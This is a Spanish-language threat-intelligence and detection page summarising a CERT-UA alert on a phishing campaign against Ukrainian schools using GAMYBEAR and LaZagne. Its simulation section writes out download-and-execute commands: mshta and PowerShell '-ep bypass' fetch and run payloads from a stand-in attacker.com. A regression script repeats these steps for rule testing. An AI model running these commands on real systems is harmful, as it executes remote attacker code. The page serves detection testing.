SOC Prime Bias: Crítico

20 Nov 2025 13:35 UTC

Ciberataque dirigido a una escuela del este de Ucrania usando la herramienta GAMYBEAR (CERT-UA#18329)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Ciberataque dirigido a una escuela del este de Ucrania usando la herramienta GAMYBEAR (CERT-UA#18329)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una campaña de robo de credenciales afectó a escuelas y agencias públicas en la región de Sumy a través de un correo electrónico de phishing que contenía un adjunto ZIP. Al abrir el archivo, se activó un archivo HTA mediante la mshta herramienta, que luego descargó scripts de PowerShell para implementar la puerta trasera GAMYBEAR y el volcado de credenciales LaZagne, establecer un C2 basado en HTTP y exfiltrar archivos de directorios seleccionados.

Análisis del Ataque

CERT-UA vinculó la brecha inicial a un mensaje de phishing enviado el 26 de mayo de 2025 desde una cuenta de Gmail secuestrada, proporcionando los detalles de la campaña en la alerta CERT-UA#18329. El análisis forense expuso una cadena de infección en múltiples etapas: ZIP → HTA → update.js → PowerShell → GAMYBEAR acompañado del malware LaZagne, con persistencia mantenida a través de una entrada de Run en el registro y descargas recurrentes de URLs maliciosas.

Mitigación

Implemente la autenticación multifactor para todas las cuentas de correo electrónico, bloquee la ejecución de scripts HTA y PowerShell no confiables, asegure la clave de ejecución de Run en el registro e implemente una lista blanca de aplicaciones. Actualice continuamente las reglas de detección en los endpoints para reconocer los nombres de archivo, hashes e indicadores de red referenciados.

Respuesta

Aísle prontamente los endpoints afectados, restablezca las credenciales comprometidas de Gmail, reúna todos los IOC identificados y ejecute escaneos exhaustivos para GAMYBEAR, LaZagne y artefactos asociados. Informe a CERT-UA sobre el incidente y distribuya los IOC a través de los canales relevantes de intercambio de inteligencia sobre amenazas.

Flujo de Ataque

Simulaciones

Ejecución de la Simulación

Requisito previo: El Chequeo Previo de Telemetría y Línea Base debe haber sido aprobado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:

    1. Etapa 1 – Desplegar HTA malicioso: El atacante aloja evil.hta en un servidor web comprometido.

    2. Etapa 2 – Ejecutar vía mshta.exe: Usando un símbolo del sistema de Windows, el atacante ejecuta mshta.exe http://attacker.com/evil.hta. Esto crea un evento de creación de proceso con mshta.exe en la línea de comandos, cumpliendo la primera cláusula de la regla.

    3. Etapa 3 – Bypass de PowerShell: Para ejecutar una carga útil que evite la Política de Ejecución del sistema, el atacante lanza PowerShell con la bandera -ep bypass:

      PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"

      Esto genera un segundo evento de creación de proceso que contiene la cadena exacta PowerShell -ep bypass, cumpliendo la segunda cláusula.

  • Guion de Prueba de Regresión: El siguiente script de PowerShell reproduce los pasos anteriores de manera automatizada y repetible.

    # -------------------------------------------------
    # Prueba de Regresión – Activar Regla Sigma para mshta & PowerShell -ep bypass
    # -------------------------------------------------
    
    # Variables – ajustar al entorno de su laboratorio
    $htaUrl   = "http://127.0.0.1/evil.hta"   # Debe apuntar a un archivo HTA accesible
    $psUrl    = "http://127.0.0.1/payload.ps1" # Carga útil PS simple (por ejemplo, `Write-Host "pwned"`)
    
    # 1. Invocar mshta.exe
    Write-Host "[*] Iniciando mshta.exe hacia $htaUrl"
    Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
    
    # Pausa breve para asegurar los registros del proceso
    Start-Sleep -Seconds 2
    
    # 2. Invocar PowerShell con bypass de política de ejecución
    $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"
    Write-Host "[*] Iniciando PowerShell -ep bypass"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
    
    # Pausa para permitir el registro
    Start-Sleep -Seconds 5
    
    Write-Host "[+] Prueba completa. Revise su SIEM para alertas."
  • Comandos de Limpieza: Elimine archivos temporales y termine cualquier proceso de prueba persistente.

    # Limpiar carga útil temporal
    Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue
    
    # Opcionalmente, elimine instancias persistentes de mshta o PowerShell generadas por la prueba
    Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force